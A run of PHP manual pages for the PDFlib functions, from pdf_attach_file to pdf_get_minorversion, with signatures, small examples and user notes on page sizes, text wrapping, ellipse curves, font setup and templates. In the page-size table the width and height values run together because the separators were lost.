pdf_stroke(), pdf_fill() and
pdf_fillstroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_arc | 上一级 | pdf_attach_file


pdf_attach_file

(PHP 4 >= 4.0.5, PECL)

pdf_attach_file -- Adds a file attachment for current page

Description

bool pdf_attach_file ( resource pdfdoc, float llx, float lly, float urx, float ury, string filename, string description, string author, string mimetype, string icon )

Add a file attachment annotation. icon is one of graph, paperclip, pushpin, or tag. 如果成功则返回 TRUE，失败则返回 FALSE。

注: Only the 'Full' Acrobat software will be able to display these file attachments. All other PDF viewers will either show nothing or display a question mark.

add a note add a note User Contributed Notes
ilia at prohost dot org
18-May-2003 07:52
Only the 'Full' Acrobat software will be able to display file attachments. All others will either show nothing or display a question mark.
add a note add a note

后退 | 起点 | 前进
pdf_arcn | 上一级 | pdf_begin_page


pdf_begin_page

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_begin_page -- Starts new page

Description

bool pdf_begin_page ( resource pdfdoc, float width, float height )

Add a new page to the document. 如果成功则返回 TRUE，失败则返回 FALSE。 The width and height are specified in points, which are 1/72 of an inch.

表格 1. Common Page Sizes in Points

name | size
A0 | 23803368
A1 | 16842380
A2 | 11901684
A3 | 8421190
A4 | 595842
A5 | 421595
A6 | 297421
B5 | 501709
letter (8.5"11") | 612792
legal (8.5"14") | 6121008
ledger (17"11") | 1224792
11"17" | 7921224

See also pdf_end_page().

add a note add a note User Contributed Notes
rz at daimi dot au dot dk
20-Aug-2005 07:53
The problem is that A4 is *NOT* exactly 210mm*297mm.
(Further more, the 2.835016835017 is incorrect. You convert from mm to pps by dividing by 25.4 and multiplying by 72. Hence the ratio is 2.83464566929133858267).
The code that I posted in may produces correct sizes.
(Except for the "m65" format, sorry. "m65" is the same as "dl", and should return the same values).
d dot schneider at 24you dot de
07-Jul-2005 12:47
Try this...

<?

function mm2pt($val){
   return floatval($val * 2.835016835017);
   }

$xpdf = pdf_new();
pdf_open_file($xpdf);
pdf_begin_page($xpdf, mm2pt(210), mm2pt(297));

// ...

?>
rz at daimi dot au dot dk
29-May-2005 04:47
The DIN paper sizes below are rounded.
Theese functions returns exact paper sizes:

<?php
function paperheight($papername) {
  $name=strtolower($papername);
  switch($name) {
  case "dl": return 11/2.54*72;
  case "m65": return paperheight("c6");
  case "ledger": case "tabloid": return  17*72;
  case "legal": return paperwidth("ledger");
  case "letter": return 11*72;
  default: return paperwidth($name)*sqrt(2);
  }
}
function paperwidth($papername) {
  $name=strtolower($papername);
  switch($name) {
  case "dl": return 22/2.54*72;
  case "m65": return paperwidth("c5");
  case "ledger": case "tabloid": return  14*72;
  case "legal": case "letter": return paperheight("ledger")>>1;
  default:
   $i=strpos("ebca",$name{0});
   $j=substr($name,1);
   if($i!=false && ($j>0 || $j==="0"))
     return 100/(pow(2,($i+$j*4-1)/8))/2.54*72;
   else
     die("Unkown paper format: $papername");
  }
}

$paper = "A4";
$w = paperwidth($paper);
$h = paperheight($paper);
echo "$paper: $w ppt * $h ppt";
?>
ceo at l-i-e dot com
31-Mar-2005 05:12
I spent a lot of hours tweaking numbers in my PDF source, trying to nudge things the right way, and, invariably, really messing up big-time...

Then one day I realized that all these numbers were supposed to be (INCHES * 72).

Now my PDF code looks more like:
<?php
.
.
.
  pdf_begin_page($pdf, 8.5 * 72, 11 * 72);
.
.  /* set up $helvetica as font */
.
  pdf_set_font($pdf, $helvetica, 9);
  $leading = pdf_get_value($pdf, 'leading');
  pdf_show_boxed($pdf, 0.5 * 72, 0.5 * 72, 4.0 * 72, $leading, 'left', '');
?>

0.0, 0.0 is at the bottom left.
8.5 * 72, 11 * 72 is at the top right.
Everything in between is in x.xx * 72 where x.xx is INCHES.

Suddenly, I can visualize the PDF while I'm typing.

Might work for you too.

Sample linked from:
http://l-i-e.com/resume.htm
psychosos at gmx dot at
13-Apr-2003 08:36
Points for CD covers (approximate values)

Front cover          (119x119mm)  => 337.33x337.33 points
Inlay including sides (150x117mm)  => 425.21x331.66 points
Inlay excluding sides (137.4x117mm) => 389.49x331.66 points
ronald at upperground dot nl
20-Feb-2003 12:55
When you use the mentioned size of an a4 pdf file it will make a pdf file in the this size: 209.9 x 297 mm. If you want to create a real a4 sized pdf you can use the following:

PDF_begin_page($pdf, 595.3, 842);

Its a small step i know... but its just the last mm.
f dot enzenhofer at apa dot at
15-Jan-2003 12:36
format  width    height
A0        2380      3368
A1        1684        2380
A2        1190      1684
A3          842      1190
A4          595      842
A5          421      595
A6          297        421

B5          501      709

letter        612      792
legal        612    1008
ledger      1224      792

11x17        792    1224
add a note add a note

后退 | 起点 | 前进
pdf_attach_file | 上一级 | pdf_begin_pattern


pdf_begin_pattern

(PHP 4 >= 4.0.5, PECL)

pdf_begin_pattern -- Starts new pattern

Description

int pdf_begin_pattern ( resource pdfdoc, float width, float height, float xstep, float ystep, int painttype )

Starts a new pattern definition and returns a pattern handle. width, and height define the bounding box for the pattern. xstep and ystep give the repeated pattern offsets. painttype=1 means that the pattern has its own colour settings whereas a value of 2 indicates that the current colour is used when the pattern is applied.

See also pdf_end_pattern().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_begin_page | 上一级 | pdf_begin_template


pdf_begin_template

(PHP 4 >= 4.0.5, PECL)

pdf_begin_template -- Starts new template

Description

int pdf_begin_template ( resource pdfdoc, float width, float height )

Start a new template definition.

add a note add a note User Contributed Notes
rz at daimi dot au dot dk
27-Mar-2005 09:55
Sorry. In the previous note I somehow managed to include the same program twice.
The program that uses templates to draw the fractal is

<?php
function initmengers(&$pdf,$level) {
  static $mengers;
  if($level>0) initmengers($pdf,$level-1);
  $mengers[$level] = pdf_begin_template($pdf,1,1);
  if($level===0) {
   pdf_rect($pdf,$x,$y,1,1);
   pdf_fill($pdf);
  }
  else {
   for($i=0; $i<3; $i++)
     for($j=0; $j<3; $j++)
   if($i!=1 || $j!=1)
     pdf_place_image($pdf,$mengers[$level-1],$j/3,$i/3,1/3);
  }
  pdf_end_template($pdf);
  return $mengers[$level];
}
$pdf = pdf_new();
pdf_open_file($pdf);
$pic = initmengers($pdf,6);
pdf_begin_page($pdf, 595, 421);
pdf_place_image($pdf,$pic,50,50,300);
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_delete($pdf);
?>
rz at daimi dot au dot dk
27-Mar-2005 12:23
A template is an "image" that can be drawn like a normal image, but is composed of pdflib-commands, directly specified in the program.
Templates can be used if you have a graphical pattern that you want to repeat several times - i.e. a logo repeated on top of each page. As the pdf-commands that draws the template are only included once in the file even if the template is shown several times, you can save a lot of space.

This program draws a simple fractal without the use of templates:

<?php
function drawmenger(&$pdf,$x,$y,$w,$level) {
  if($level===0) {
   pdf_rect($pdf,$x,$y,$w,$w);
   pdf_fill($pdf);
   return;
  }
  $w /= 3;
  for($i=0; $i<3; $i++)
   for($j=0; $j<3; $j++)
     if($i!=1 || $j!=1)
   drawmenger($pdf,$x+$w*$j,$y+$w*$i,$w,$level-1);
}
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 421);
drawmenger($pdf,50,50,300,6);

header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);
?>

The file created is almost 1Mb.
Using templates to store the intermediate results reduces the filesize to a mere 3kb.

<?php
function drawmenger(&$pdf,$x,$y,$w,$level) {
  if($level===0) {
   pdf_rect($pdf,$x,$y,$w,$w);
   pdf_fill($pdf);
   return;
  }
  $w /= 3;
  for($i=0; $i<3; $i++)
   for($j=0; $j<3; $j++)
     if($i!=1 || $j!=1)
   drawmenger($pdf,$x+$w*$j,$y+$w*$i,$w,$level-1);
}
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 421);
drawmenger($pdf,50,50,300,6);

header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);
?>
add a note add a note

后退 | 起点 | 前进
pdf_begin_pattern | 上一级 | pdf_circle


pdf_circle

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_circle -- Draws a circle

Description

bool pdf_circle ( resource pdfdoc, float x, float y, float r )

Add a circle with center (x, y) and radius r to the current page. Actual drawing of the circle is performed by the next stroke or fill operation.

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. pdf_circle() example

<?php
// prepare document
$pdf = pdf_new();
pdf_open_file($pdf, "");
pdf_begin_page($pdf, 595, 842);

// an outlined circle
pdf_circle($pdf, 200, 700, 100);
pdf_stroke($pdf);

// a filled circle
pdf_circle($pdf, 200, 700, 50);
pdf_fill($pdf);

// an outlined and filled circle
pdf_setcolor($pdf, "fill", "gray", 0.3);
pdf_circle($pdf, 400, 700, 50);
pdf_fill_stroke($pdf);

// finish document
pdf_end_page($pdf);
pdf_close($pdf);

header("Content-type: application/pdf");
echo pdf_get_buffer($pdf);

pdf_delete($pdf);
?>

See also: pdf_arc(),
pdf_arcn(), pdf_curveto(),
pdf_stroke(), pdf_fill() and
pdf_fill_stroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_begin_template | 上一级 | pdf_clip


pdf_clip

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_clip -- Clips to current path

Description

bool pdf_clip ( resource pdfdoc )

Use the current path as clipping path. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
04-Apr-2002 08:12
PDFlib v4 does not seem to be issued under the Aladdin license anymore.
add a note add a note

后退 | 起点 | 前进
pdf_circle | 上一级 | pdf_close_image


pdf_close_image

(PHP 3 >= 3.0.7, PHP 4, PECL)

pdf_close_image -- Closes an image

Description

void pdf_close_image ( resource pdfdoc, int image )

Close an image retrieved with the pdf_open_image() function.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_clip | 上一级 | pdf_close_pdi_page


pdf_close_pdi_page

(PHP 4 >= 4.0.5, PECL)

pdf_close_pdi_page -- Close the page handle

Description

bool pdf_close_pdi_page ( resource pdfdoc, int pagehandle )

Close the page handle, and free all page-related resources. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_close_image | 上一级 | pdf_close_pdi


pdf_close_pdi

(PHP 4 >= 4.0.5, PECL)

pdf_close_pdi -- Close the input PDF document

Description

bool pdf_close_pdi ( resource pdfdoc, int dochandle )

Close all open page handles, and close the input PDF document. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_open_pdi().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_close_pdi_page | 上一级 | pdf_close


pdf_close

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_close -- Closes a pdf resource

Description

bool pdf_close ( resource pdfdoc )

Close the generated PDF file, and free all document-related resources. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_new().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_close_pdi | 上一级 | pdf_closepath_fill_stroke


pdf_closepath_fill_stroke

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_closepath_fill_stroke -- Closes, fills and strokes current path

Description

bool pdf_closepath_fill_stroke ( resource pdfdoc )

Close the path, fill, and stroke it. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_closepath() and pdf_closepath_stroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_close | 上一级 | pdf_closepath_stroke


pdf_closepath_stroke

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_closepath_stroke -- Closes path and draws line along path

Description

bool pdf_closepath_stroke ( resource pdfdoc )

Close the path, and stroke it. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_closepath() and pdf_closepath_fil_stroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_closepath_fill_stroke | 上一级 | pdf_closepath


pdf_closepath

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_closepath -- Closes path

Description

bool pdf_closepath ( resource pdfdoc )

Close the current path. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_closepath_stroke() and pdf_closepath_fil_stroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_closepath_stroke | 上一级 | pdf_concat


pdf_concat

(PHP 4 >= 4.0.5, PECL)

pdf_concat -- Concatenate a matrix to the CTM

Description

bool pdf_concat ( resource pdfdoc, float a, float b, float c, float d, float e, float f )

Concatenate a matrix to the CTM. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_closepath | 上一级 | pdf_continue_text


pdf_continue_text

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_continue_text -- Outputs text in next line

Description

bool pdf_continue_text ( resource pdfdoc, string text )

Print text at the next line. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
cbaltaci at turkisp dot com
13-Sep-2005 06:59
Shortest way to wordwrap in pdf_continue_text. There is no problem with new lines. Thnx to GTECHNICS.com...

<?
$text = $_POST['texfield']; ;
$lines = explode("\n",$text);
pdf_set_text_pos($pdfdoc,$x ,$y);
foreach($lines as $line){
   $foo = $line;
   $foo = wordwrap($foo,122,"|");
   $Arrx = explode("|",$foo);
   $i = 0;
   while ($Arrx[$i] != "") {
       pdf_continue_text($pdfdoc,$Arrx[$i]);
       $i++;
   }
}
?>
timo dot schmid at gmail dot com
01-Jul-2005 03:19
I found no possibility to align a Text right. So I wrote a function:

<?php
function pdf_align_right($string, $chars = 10){
   $string = str_pad($string, $chars, " ", STR_PAD_LEFT);
   // Spaces in PDF-Documents are only the Half of a Normal Letter: So we replace them with 2 Spaces
   $string = preg_replace("/ /", "  ", $string);
   return $string;
}
?>

Note that the 2nd Parameter is NOT the Lenght of the returned String because the Spaces will be replaced with 2 Spaces.
stephen at thelonecoder dot com
28-Jun-2005 11:06
For wrapping text in pdf this is the method that I have been using .

It handles variable font and sizes and also variable widths on the paragraph.

<?php
       $c = $db->row['content'];

   $color = convert_hexcolor_rgbdec($color_hex);
   pdf_setcolor($pdf, 'both', 'rgb', $color['r'], $color['g'], $color['b']);

   $font = pdf_findfont($pdf, "$fontStyle", "host", 1);
   pdf_setfont($pdf, $font, $s);

   $par1 = stripslashes($c);

   $j = 0;
   $n = 0;
   while($j < $pw && $c != "") {
           $f = substr($par1, $n, 1);
           $fWidth = pdf_stringwidth($pdf, "$f", 1, $s);
           $j = $j + $fWidth;
           $fWidth = 0;
           $n++;
     }
   $wrap = $n;

   $lead = $s + 2;
   $paragraph = wordwrap($paragraph, $wrap, "***");
   $parArr = explode("***", $paragraph);

   pdf_show_xy($pdf, "$parArr[0]", $x, $y);
   pdf_set_leading($pdf, $lead);

   $i = 1;
   while($parArr[$i]) {
       pdf_continue_text($pdf, "$parArr[$i]");
       $i++;
   }
}
marco at elevate dot nl
06-Nov-2002 11:09
// Replace the while loop with this foreach and empty lines
// won't be a problem.

foreach($Arr as $line) {
     pdf_continue_text($pdf,$line);
}
npoole at binary dot net
06-Jul-2002 05:34
This is how I wrap text in a PDF file built from database content...

$foo = mysql_result($results,0,"foo");

$foo = wordwrap($foo,72,"|");

$Arr = explode("|",$foo);
$i = 0;
while ($Arr[$i] != "") {
       pdf_continue_text($pdf,$Arr[$i]);
       $i++;
}

Someone mentioned to me (and rightfully so) that this may be flawed if you have 2 blank lines, and then more text in the variable.  Use it for what you will though, you may find it (or an alteration of it) useful.
add a note add a note

后退 | 起点 | 前进
pdf_concat | 上一级 | pdf_curveto


pdf_curveto

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_curveto -- Draws a curve

Description

bool pdf_curveto ( resource pdfdoc, float x1, float y1, float x2, float y2, float x3, float y3 )

Draw a Bezier curve from the current point, using 3 more control points. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
rune at zedeler dot dk
10-Mar-2005 11:51
Rod's function does not work (the thing produced is not even symmetrical).
Here is one that produces a correct approximation to an ellipse:

function pdf_ellipse ($pdfobj,$x,$y,$width,$height) {
// Function to draw an ellipse inscribed in a rectangle
// described by lower left (x,y) with width and height.
  $fac = (4*sqrt(2)-4)/3;
  $dx = $width*(1-$fac)/2;
  $dy = $height*(1-$fac)/2;
  pdf_moveto($pdfobj, $x,$y+$height/2);
  pdf_curveto($pdfobj, $x,$y+$height-$dy, $x+$dx,$y+$height, $x+$width/2,$y+$height);
  pdf_curveto($pdfobj, $x+$width-$dx,$y+$height, $x+$width,$y+$height-$dy, $x+$width,$y+$height/2);
  pdf_curveto($pdfobj, $x+$width,$y+$dy, $x+$width-$dx,$y, $x+$width/2,$y);
  pdf_curveto($pdfobj, $x+$dx,$y, $x,$y+$dy, $x,$y+$height/2);
}
rod-php at thecomplex dot com
02-Oct-2002 01:15
function pdf_ellipse_inscribed ($pdfobj,$x,$y,$width,$height) {
// Function to draw an ellipse inscribed in a rectangle
// described by lower left (x,y) with width and height.
   pdf_moveto($pdfobj, $x,$y+$height/2);
   pdf_curveto($pdfobj, $x,$y+$height/2,$x,$y+$height,$x+$width/2,$y+$height);
   pdf_curveto($pdfobj, $x+$width/2,$y+$height,$x+$width,$y+$height,$x+$width,$y+$height/2);
   pdf_curveto($pdfobj, $x+$width,$y+$height/2,$x+$width,$y,$x+$width/2,$y);
   pdf_curveto($pdfobj, $x+$width/2,$y,$x,$y,$x,$y+$height/2);
}
add a note add a note

后退 | 起点 | 前进
pdf_continue_text | 上一级 | pdf_delete


pdf_delete

(PHP 4 >= 4.0.5, PECL)

pdf_delete -- Deletes a PDF object

Description

bool pdf_delete ( resource pdfdoc )

Delete the PDF resource, and free all internal resources. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_new().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_curveto | 上一级 | pdf_end_page


pdf_end_page

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_end_page -- Ends a page

Description

bool pdf_end_page ( resource pdfdoc )

Finish the page. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_begin_page().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_delete | 上一级 | pdf_end_pattern


pdf_end_pattern

(PHP 4 >= 4.0.5, PECL)

pdf_end_pattern -- Finish pattern

Description

bool pdf_end_pattern ( resource pdfdoc )

Finish the pattern definition. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_begin_pattern().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_end_page | 上一级 | pdf_end_template


pdf_end_template

(PHP 4 >= 4.0.5, PECL)

pdf_end_template -- Finish template

Description

bool pdf_end_template ( resource pdfdoc )

Finish the template definition. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_end_pattern | 上一级 | pdf_endpath


pdf_endpath

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_endpath -- Deprecated: Ends current path

Description

This function is deprecated, use one of the pdf_stroke(), pdf_clip() or pdf_closepath_fill_stroke() functions instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_end_template | 上一级 | pdf_fill_stroke


pdf_fill_stroke

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_fill_stroke -- Fills and strokes current path

Description

bool pdf_fill_stroke ( resource pdfdoc )

Fill and stroke the path with the current fill and stroke color. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_setcolor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_endpath | 上一级 | pdf_fill


pdf_fill

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_fill -- Fills current path

Description

bool pdf_fill ( resource pdfdoc )

Fill the interior of the path with the current fill color. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_setcolor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_fill_stroke | 上一级 | pdf_findfont


pdf_findfont

(PHP 4 >= 4.0.5, PECL)

pdf_findfont -- Prepare font for later use with pdf_setfont()

Description

int pdf_findfont ( resource pdfdoc, string fontname, string encoding, int embed )

Prepare a font for later use with pdf_setfont(). The metrics will be loaded, and if embed is nonzero, the font file will be checked, but not yet used. encoding is one of builtin, macroman, winansi, host, a user-defined encoding name or the name of a CMap. Parameter embed is optional before PHP 4.3.5 or with PDFlib less than 5.

pdf_findfont() returns a font handle or FALSE on error.

例子 1. pdf_findfont() example

<?php

$font = pdf_findfont($pdf, "Times New Roman", "winansi", 1);
if ($font) {
    pdf_setfont($pdf, $font, 10);
}

?>

add a note add a note User Contributed Notes
R. Christiaanse
26-Jul-2005 07:57
If you get the following error,

"PDFlib error: [2518] PDF_findfont: No file specified with outline data for font ..."

you might try the following:

1. Take care the environment variable PDFLIBRESOURCE is correctly set.

   You can set it like this: putenv("PDFLIBRESOURCE=C:\phpdev\php\pdf-related\pdflib.upr");

2. Take care the resource variabele used by PDFLib is correctly set.

   You can set it like this: pdf_set_parameter($pdf, "resourcefile", "C:\phpdev\php\pdf-related\pdflib.upr");

3. Take care the resource file and fonts can be found by adjusting your local include path.

   You can set it like this: ini_set('include_path', 'C:/phpdev/php/pdf-related');

4. Take care the paths in the PDFLIB resource file are correct

   Open pdflib.upr in a text editor and modify the path entry (read the comments):

   Example: /C:/phpdev/php/pdf-related

5. Leave the optional parameter 'embed' out:

   Like this:

   if ($font = pdf_findfont($pdf, "Helvetica", "host", 0))
     pdf_setfont($pdf, $font, 12);

   Or this:

   if ($font = pdf_findfont($pdf, "Helvetica", "host"))
     pdf_setfont($pdf, $font, 12);

I hope this could be of help to you...
sebastien at galliot dot com
26-Jun-2004 04:14
Display UTF-8 string with your PDFlib and true type font
<?php

/*  UTF-8 : Unicode encoded string with PDFlib & Php

*/
$pdf = pdf_new();
if (!pdf_open_file($pdf, ""))
   exit;

PDF_begin_page($pdf, 600,800);

// set the textformat parameter to utf8
pdf_set_parameter($pdf, "textformat", "utf8");

// path of your TTF font directory
$fontdir = "/path/to/font/directory/";

// Open few .TTF (true type font)
// be sure that your font file contains enough character for your language

pdf_set_parameter($pdf, "FontOutline", "ArialUnicode=$fontdir/ARIALUNI.TTF");
pdf_set_parameter($pdf, "FontOutline", "ArialItalic=$fontdir/ariali.ttf");

// UTF-8 encoded string (this is bulgarian (cyrillic alphabet))
$utf_8_string ="" ;

// Set the font
$font = PDF_findfont($pdf, "ArialUnicode", "unicode",0);
pdf_setfont($pdf, $font, 15);
// output the encoded string with Arial Unicode font
pdf_show_xy($pdf,  "Arial Unicode : $utf_8_string"  ,40 ,700);

// output the encoded string with Arial Italic font
$font = PDF_findfont($pdf, "ArialItalic", "unicode",0);
pdf_setfont($pdf, $font, 15);
pdf_show_xy($pdf,  "Arial Italic  : $utf_8_string"  ,40 ,650);

PDF_end_page($pdf);
pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=foo.pdf");
echo $buf;

pdf_delete($pdf);

?>
Mairsil
28-Jan-2004 02:31
An easy way to use .ttf fonts under *nix:

pdf_set_parameter($pdf, "FontOutline", "Arial=/var/path/to/font/arial.ttf");
Leander Hanwald
13-Aug-2003 07:46
Hi

--- English ----

Be carefull if you want to use german umlauts.

I tried it with libpdf 5.x and used the builtin paramater.
After i created a pdf I saw that all umlauts are a space ('' -> ' ')

I tried it with winansi and it works.

---- German ---

Vorsicht bei der Benutzung von Deutschen Umlauten.

Ich habe hier libpdf 5.x im Einsatz und habe es mit dem Parameter "buildin" versucht. Leider waren danach alle Umlaute nur Leerstellen ('' -> ' ').

Als ich es mit "winansi" versucht habe hat es funktioniert.
jurgen dot php dot net at nospam dot thewicked dot nl
11-Jul-2003 10:38
try this nice *nix shell code to generate the FontAFM section of your UPR files:

   for i in *.afm
   do
           sep=`echo -e "\r"`
           file=`cat $i | grep FontName | cut -b 10-`
           file=${file//$sep/}
           echo "$file=$i"
   done

it gererates something like this:

   Courier-Oblique=Courier-Oblique.afm
   Courier=Courier.afm
   Helvetica-Bold=Helvetica-Bold.afm
   etc.

probably usefull if you add fonts now and then...
dont be shy to mail me if you find this usefull!
chkim at secuve dot com
27-Oct-2002 01:47
you can use korean font.

$font_kr = PDF_findfont($pdf, "HYSMyeongJoStd-Medium-Acro", "KSC-EUC-H", 0);
mitch at nospam dot unixprogramming dot net
21-Mar-2002 08:48
A note on fonts...

 Everyone should take a look at the PDFlib manual, section 3.3.5 on TrueType fonts and such. In order to not have to embed fonts and have the font metrics file available use one of the 14 internal PDFlib fonts (case sensitive) :

Courier, Courier-Bold, Courier-Oblique, Courier-BoldOblique,
Helvetica, Helvetica-Bold, Helvetica-Oblique, Helvetica-BoldOblique,
Times-Roman, Times-Bold, Times-Italic, Times-BoldItalic,
Symbol, ZapfDingbats

Note that "Times New Roman" isn't in there (Times-Roman is, however). All is explained in the PDFlib manual so if you're having trouble with the above example, please check it out.
bob at nijman dot de
02-Aug-2001 09:45
Try this:

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_begin_page($pdf, 300, 300);

$font = pdf_findfont($pdf, "Times New Roman", "host", 1);
if ($font) {
   pdf_setfont($pdf, $font, 30);
}

$string = "Hello Berlin-Mitte!";

$width = pdf_stringwidth($pdf, $string);
pdf_set_text_pos($pdf, (300-$width)/2, 200);
pdf_show($pdf, $string);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
martin at better-com dot de
24-Jun-2001 01:36
For using pdf_findfont with pdf_setfont it's a good idea to copy your fonts to a separate directory, i.e. /usr/local/fonts. You should also copy the upr file which comes with PDFlib to this directory. The example code above did not work here until I put a

pdf_set_parameter($pdf, "resourcefile", "/usr/local/fonts/pdflib.upr");

before the line with pdf_findfont().
add a note add a note

后退 | 起点 | 前进
pdf_fill | 上一级 | pdf_get_buffer


pdf_get_buffer

(PHP 4 >= 4.0.5, PECL)

pdf_get_buffer -- Fetch the buffer containing the generated PDF data

Description

string pdf_get_buffer ( resource pdfdoc )

Get the contents of the PDF output buffer. The result must be used by the client before calling any other PDFlib function.

add a note add a note User Contributed Notes
cookiekid at gmail dot com
28-Apr-2006 02:15
If you plan to use get_buffer() you have to call open_file() with an
empty filename.
add a note add a note

后退 | 起点 | 前进
pdf_findfont | 上一级 | pdf_get_font


pdf_get_font

(PHP 4, PECL)

pdf_get_font -- Deprecated: font handling

Description

This function is deprecated, use pdf_get_value() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_get_buffer | 上一级 | pdf_get_fontname


pdf_get_fontname

(PHP 4, PECL)

pdf_get_fontname -- Deprecated: font handling

Description

This function is deprecated, use pdf_get_parameter() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_get_font | 上一级 | pdf_get_fontsize


pdf_get_fontsize

(PHP 4, PECL)

pdf_get_fontsize -- Deprecated: font handling

Description

This function is deprecated, use pdf_get_value() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_get_fontname | 上一级 | pdf_get_image_height


pdf_get_image_height

(PHP 3 >= 3.0.12, PHP 4, PECL)

pdf_get_image_height -- Deprecated: returns height of an image

Description

This function is deprecated, use pdf_get_value() instead.

add a note add a note User Contributed Notes
karsten_fuhrmann at NOSPAMweb dot de
12-Aug-2003 06:21
The value returned is in pixel NOT Points.
18-Feb-2003 07:13
$width = PDF_get_value($p, "imagewidth", $image);
add a note add a note

后退 | 起点 | 前进
pdf_get_fontsize | 上一级 | pdf_get_image_width


pdf_get_image_width

(PHP 3 >= 3.0.12, PHP 4, PECL)

pdf_get_image_width -- Deprecated: Returns width of an image

Description

This function is deprecated, use pdf_get_value() instead.

add a note add a note User Contributed Notes
bmironov at jonview dot com
25-Jun-2003 06:56
This function deprecated since PDFlib v5.0
add a note add a note

后退 | 起点 | 前进
pdf_get_image_height | 上一级 | pdf_get_majorversion


pdf_get_majorversion

(PHP 4 >= 4.2.0, PECL)

pdf_get_majorversion -- Returns the major version number of the PDFlib

Description

int pdf_get_majorversion ( void )

Returns the major version number of the PDFlib.

See also pdf_get_minorversion().

add a note add a note User Contributed Notes
brianray
17-Apr-2004 02:29
Deprecated, use int PDF_get_value(resource pdfdoc,'major',0) instead.
add a note add a note

后退 | 起点 | 前进
pdf_get_image_width | 上一级 | pdf_get_minorversion


pdf_get_minorversion

(PHP 4 >= 4.2.0, PECL)

pdf_get_minorversion -- Returns the minor version number of the PDFlib

Description

int pdf_get_minorversion ( void )

Returns the minor version number of the PDFlib.

See also pdf_get_majorversion().

add a note add a note User Contributed Notes
brianray
17-Apr-2004 02:29
Deprecated, use int PDF_get_value(resource pdfdoc,'minor',0) instead.
add a note add a note

后退 | 起点 | 前进
pdf_get_majorversion | 上一级 | pdf_get_parameter


